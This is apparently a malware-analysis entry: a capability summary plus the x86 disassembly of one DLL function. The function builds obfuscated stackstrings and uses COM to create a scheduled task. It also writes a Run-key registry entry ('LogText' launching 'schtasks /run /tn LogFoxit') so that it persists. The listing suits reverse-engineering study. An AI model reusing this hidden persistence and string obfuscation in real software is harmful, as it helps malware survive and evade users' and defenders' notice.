Function at 0x10002220
Capabilities:
Contain obfuscated stackstrings
Reference processor manufacturer constants
Schedule task via itaskservice

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000c39d
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x10014040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
mov dword [ebp - 0x158], 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x100024ae
lea eax, [ebp - 0x90]
mov dword [ebp - 0x90], 0
push eax
push 0x1000d7a8
push 1
push 0
push 0x1000d7c8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x100024a8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x7c]
push eax
call esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x5c]
movups xmm0, xmmword [ebp - 0x7c]
push eax
movups xmmword [ebp - 0x188], xmm0
call esi
movups xmm0, xmmword [ebp - 0x5c]
lea eax, [ebp - 0x8c]
push eax
movups xmmword [ebp - 0x178], xmm0
call esi
movups xmm0, xmmword [ebp - 0x8c]
lea eax, [ebp - 0x168]
push eax
movups xmmword [ebp - 0x198], xmm0
call esi
mov byte [ebp - 4], 3
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x188]
mov ecx, dword [ebp - 0x90]
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x178]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x198]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x168]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x28]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x168]
push eax
call edi
lea eax, [ebp - 0x8c]
push eax
call edi
lea eax, [ebp - 0x5c]
push eax
call edi
lea eax, [ebp - 0x7c]
mov dword [ebp - 4], 0xffffffff
push eax
call edi
test esi, esi
js 0x1000249c
push 0xc
mov dword [ebp - 0x98], 0
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0xbc], esi
mov dword [ebp - 4], 4
test esi, esi
je 0x100023bf
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x1000da7c
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000300d
jmp 0x100023c1
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xbc], esi
test esi, esi
je 0x10003017
mov dword [ebp - 4], 5
lea edx, [ebp - 0x98]
mov eax, dword [ebp - 0x90]
push edx
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov edi, eax
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000243c
mov eax, dword [esi]
test eax, eax
je 0x10002419
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10002431
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000ab6c
add esp, 8
mov eax, dword [ebp - 0x90]
test edi, edi
js 0x100024a2
lea edx, [ebp - 0x94]
mov dword [ebp - 0x94], 0
mov ecx, dword [eax]
push edx
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x10002490
mov eax, dword [ebp - 0x94]
lea edx, [ebp - 0xa8]
mov dword [ebp - 0xa8], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x100024b8
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x10002ff2
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x80], 0
push ecx
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x5c], 0x7263694d
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0x666f736f
push ecx
lea ecx, [ebp - 0x88]
movq qword [ebp - 0x88], xmm0
mov dword [ebp - 0x54], 0x73552074
mov dword [ebp - 0x50], 0x49557265
call fcn.10003ab0
push ecx
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x154]
push dword [ebp - 0x84]
push dword [ebp - 0x88]
call fcn.10003d70
mov edi, eax
mov byte [ebp - 4], 7
cmp dword [edi + 0x14], 7
jbe 0x10002527
mov edi, dword [edi]
push 0xc
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0xbc], esi
mov byte [ebp - 4], 8
test esi, esi
je 0x10002575
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x10002577
test edi, edi
jne 0x10003021
jmp 0x10002577
xor esi, esi
mov byte [ebp - 4], 7
mov dword [ebp - 0xbc], esi
test esi, esi
je 0x1000302b
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0xa8]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov edi, eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100025de
mov ecx, dword [esi]
test ecx, ecx
je 0x100025bb
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100025d3
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000ab6c
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x140]
cmp ecx, 7
jbe 0x10002624
mov edx, dword [ebp - 0x154]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000261a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000261a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000ab6c
add esp, 8
mov eax, dword [ebp - 0xa8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x94]
test edi, edi
js 0x1000289c
mov dword [ebp - 0x9c], 0
lea edx, [ebp - 0x9c]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x10002896
mov eax, dword [ebp - 0x9c]
lea edx, [ebp - 0xa0]
push edx
mov dword [ebp - 0xa0], 0
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0x28]
test eax, eax
js 0x1000288a
mov eax, dword [ebp - 0xa0]
lea edx, [ebp - 0xac]
push edx
mov dword [ebp - 0xac], 0
push 0x1000d7b8
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
js 0x1000287e
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebp - 0x60]
add eax, 0x2d
movzx ecx, ax
mov word [ebp - 0x60], ax
cmp ecx, 0x3c
jb 0x100026dc
lea eax, [ecx - 0x3c]
mov cx, word [ebp - 0x62]
inc cx
mov word [ebp - 0x60], ax
mov word [ebp - 0x62], cx
jmp 0x100026e0
mov cx, word [ebp - 0x62]
cmp cx, 0x3c
jb 0x100026fe
mov edx, 0xffc4
add cx, dx
mov dx, word [ebp - 0x64]
inc dx
mov word [ebp - 0x62], cx
mov word [ebp - 0x64], dx
jmp 0x10002702
mov dx, word [ebp - 0x64]
movzx eax, ax
push eax
movzx eax, cx
push eax
movzx eax, dx
push eax
movzx eax, word [ebp - 0x66]
push eax
movzx eax, word [ebp - 0x6a]
push eax
movzx eax, word [ebp - 0x6c]
push eax
lea eax, [ebp - 0x4c]
push str._04d__02d__02dT_02d:_02d:_02d
push eax
call fcn.10003ea0
push 0xc
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 0x24
mov dword [ebp - 0xbc], esi
mov byte [ebp - 4], 0xa
test esi, esi
je 0x10002778
xorps xmm0, xmm0
lea eax, [ebp - 0x4c]
movq qword [esi], xmm0
mov dword [esi + 8], 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10003035
jmp 0x1000277a
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0xbc], esi
test esi, esi
je 0x1000303f
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0xac]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov edi, eax
mov byte [ebp - 4], 6
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100027e5
mov ecx, dword [esi]
test ecx, ecx
je 0x100027c2
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100027da
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000ab6c
add esp, 8
mov eax, dword [ebp - 0xac]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
test edi, edi
js 0x1000287e
mov eax, dword [ebp - 0x94]
lea edx, [ebp - 0xb0]
mov dword [ebp - 0xb0], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
test eax, eax
js 0x1000287e
mov eax, dword [ebp - 0xb0]
lea edx, [ebp - 0xb4]
push edx
mov dword [ebp - 0xb4], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x30]
mov ecx, dword [ebp - 0xb0]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x1000287e
mov eax, dword [ebp - 0xb4]
lea edx, [ebp - 0xa4]
push edx
mov dword [ebp - 0xa4], 0
push str.MbLk
mov ecx, dword [eax]
push eax
call dword [ecx]
mov ecx, dword [ebp - 0xb4]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x100028ca
mov eax, dword [ebp - 0xa0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x10002fb7
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x70], 0
push ecx
lea eax, [ebp - 0xca]
mov dword [ebp - 0x13c], 0x20646461
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0x434b4822
push ecx
lea ecx, [ebp - 0x78]
movq qword [ebp - 0x78], xmm0
mov dword [ebp - 0x134], 0x4f535c55
mov dword [ebp - 0x130], 0x41575446
mov dword [ebp - 0x12c], 0x4d5c4552
mov dword [ebp - 0x128], 0x6f726369
mov dword [ebp - 0x124], 0x74666f73
mov dword [ebp - 0x120], 0x6e69575c
mov dword [ebp - 0x11c], 0x73776f64
mov dword [ebp - 0x118], 0x7275435c
mov dword [ebp - 0x114], 0x746e6572
mov dword [ebp - 0x110], 0x73726556
mov dword [ebp - 0x10c], 0x5c6e6f69
mov dword [ebp - 0x108], 0x226e7552
mov dword [ebp - 0x104], 0x20562f20
mov dword [ebp - 0x100], 0x676f4c22
mov dword [ebp - 0xfc], 0x74786554
mov dword [ebp - 0xf8], 0x742f2022
mov dword [ebp - 0xf4], 0x47455220
mov dword [ebp - 0xf0], 0x205a535f
mov dword [ebp - 0xec], 0x2f20462f
mov dword [ebp - 0xe8], 0x73222044
mov dword [ebp - 0xe4], 0x61746863
mov dword [ebp - 0xe0], 0x20736b73
mov dword [ebp - 0xdc], 0x6e75722f
mov dword [ebp - 0xd8], 0x6e742f20
mov dword [ebp - 0xd4], 0x676f4c20
mov dword [ebp - 0xd0], 0x69786f46
mov word [ebp - 0xcc], 0x2274
call fcn.10003ab0
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 0xc
push ecx
lea eax, [ebp - 0xbd]
mov dword [ebp - 0x50], 0
push eax
xorps xmm0, xmm0
mov word [ebp - 0xc0], 0x4552
push ecx
lea ecx, [ebp - 0x58]
movq qword [ebp - 0x58], xmm0
mov byte [ebp - 0xbe], 0x47
call fcn.10003ab0
push ecx
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x154]
push dword [ebp - 0x54]
push dword [ebp - 0x58]
call fcn.10003d70
mov edi, eax
mov byte [ebp - 4], 0xe
cmp dword [edi + 0x14], 7
jbe 0x10002a6f
mov edi, dword [edi]
push 0xc
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0xbc], esi
mov byte [ebp - 4], 0xf
test esi, esi
je 0x10002abd
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x10002abf
test edi, edi
jne 0x10003049
jmp 0x10002abf
xor esi, esi
mov byte [ebp - 4], 0xe
mov dword [ebp - 0xbc], esi
test esi, esi
je 0x10003053
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0xa4]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov dword [ebp - 0xbc], eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10002b2a
mov ecx, dword [esi]
test ecx, ecx
je 0x10002b07
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10002b1f
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000ab6c
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x140]
cmp ecx, 7
jbe 0x10002b70
mov edx, dword [ebp - 0x154]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10002b66
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002b66
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000ab6c
add esp, 8
mov byte [ebp - 4], 0x11
xorps xmm0, xmm0
mov edi, dword [ebp - 0x78]
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x144], ecx
mov edx, 7
mov dword [ebp - 0x158], 1
movups xmmword [ebp - 0x154], xmm0
mov dword [ebp - 0x140], edx
mov word [ebp - 0x154], ax
cmp edi, dword [ebp - 0x74]
je 0x10002c0e
mov esi, edi
nop
movzx edi, byte [esi]
cmp ecx, edx
jae 0x10002bdd
lea eax, [ecx + 1]
cmp edx, 7
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x154]
cmova eax, dword [ebp - 0x154]
xor edx, edx
mov word [eax + ecx*2], di
mov word [eax + ecx*2 + 2], dx
jmp 0x10002bf7
push edi
mov byte [ebp - 0xc8], 0
push dword [ebp - 0xc8]
push ecx
lea ecx, [ebp - 0x154]
call fcn.100043e0
mov edx, dword [ebp - 0x140]
inc esi
cmp esi, dword [ebp - 0x74]
je 0x10002c0b
mov ecx, dword [ebp - 0x144]
jmp 0x10002bb0
mov edi, dword [ebp - 0x78]
cmp edx, 7
lea eax, [ebp - 0x154]
push 0xc
cmova eax, dword [ebp - 0x154]
mov dword [ebp - 0xc8], eax
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0xc4], esi
mov byte [ebp - 4], 0x12
test esi, esi
je 0x10002c7b
push dword [ebp - 0xc8]
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x10002c7d
cmp dword [ebp - 0xc8], eax
jne 0x1000305d
jmp 0x10002c7d
xor esi, esi
mov byte [ebp - 4], 0x11
mov dword [ebp - 0xc4], esi
test esi, esi
je 0x10003067
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0xa4]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x10002ce2
mov eax, dword [esi]
test eax, eax
je 0x10002cbf
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10002cd7
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000ab6c
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x140]
cmp ecx, 7
jbe 0x10002d28
mov edx, dword [ebp - 0x154]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10002d1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002d1e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000ab6c
add esp, 8
mov eax, dword [ebp - 0xa4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xbc], 0
jge 0x10002d89
mov eax, dword [ebp - 0xa0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x10002f5a
mov eax, 8
mov dword [ebp - 0xb8], 0
push 0x1000da8c
mov word [ebp - 0x168], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x160], eax
test eax, eax
je 0x10003071
movups xmm0, xmmword [ebp - 0x168]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x188]
push eax
movups xmmword [ebp - 0x198], xmm0
call esi
movups xmm0, xmmword [ebp - 0x188]
lea eax, [ebp - 0x178]
push eax
movups xmmword [ebp - 0x1a8], xmm0
call esi
mov byte [ebp - 4], 0x16
movups xmm0, xmmword [ebp - 0x178]
push 0xc
movups xmmword [ebp - 0x14c], xmm0
call dword [sym.imp.mfc140u.dll_operator_1]
mov esi, eax
add esp, 4
mov dword [ebp - 0xc4], esi
mov byte [ebp - 4], 0x17
test esi, esi
je 0x10002e4c
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.LogText
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000307b
jmp 0x10002e4e
xor esi, esi
mov byte [ebp - 4], 0x16
mov dword [ebp - 0xc4], esi
test esi, esi
je 0x10003085
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0xb8]
movups xmm0, xmmword [ebp - 0x198]
mov ecx, dword [ebp - 0x98]
push eax
sub esp, 0x10
mov eax, esp
mov edx, dword [ecx]
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x1a8]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x14c]
push 6
push dword [ebp - 0x94]
movups xmmword [eax], xmm0
push dword [esi]
push ecx
call dword [edx + 0x44]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x10002ef1
mov eax, dword [esi]
test eax, eax
je 0x10002ece
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10002ee6
push eax
call dword [sym.imp.mfc140u.dll_operator]
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000ab6c
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x178]
push eax
call esi
lea eax, [ebp - 0x188]
push eax
call esi
lea eax, [ebp - 0x168]
mov byte [ebp - 4], 0xd
push eax
call esi
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x58]
test edx, edx
je 0x10002f8a
mov ecx, dword [ebp - 0x50]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x10002f80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002fe0
push ecx
push edx
call fcn.1000ab6c
add esp, 8
test edi, edi
je 0x10002fb7
mov ecx, dword [ebp - 0x70]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10002fad
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002fe0
push ecx
push edi
call fcn.1000ab6c
add esp, 8
mov edx, dword [ebp - 0x88]
test edx, edx
je 0x10002ff0
mov ecx, dword [ebp - 0x80]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x10002fe6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002fe6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000ab6c
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000ab5e
mov esp, ebp
pop ebp
ret
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
push 0x8007000e
call fcn.1000ba30
int3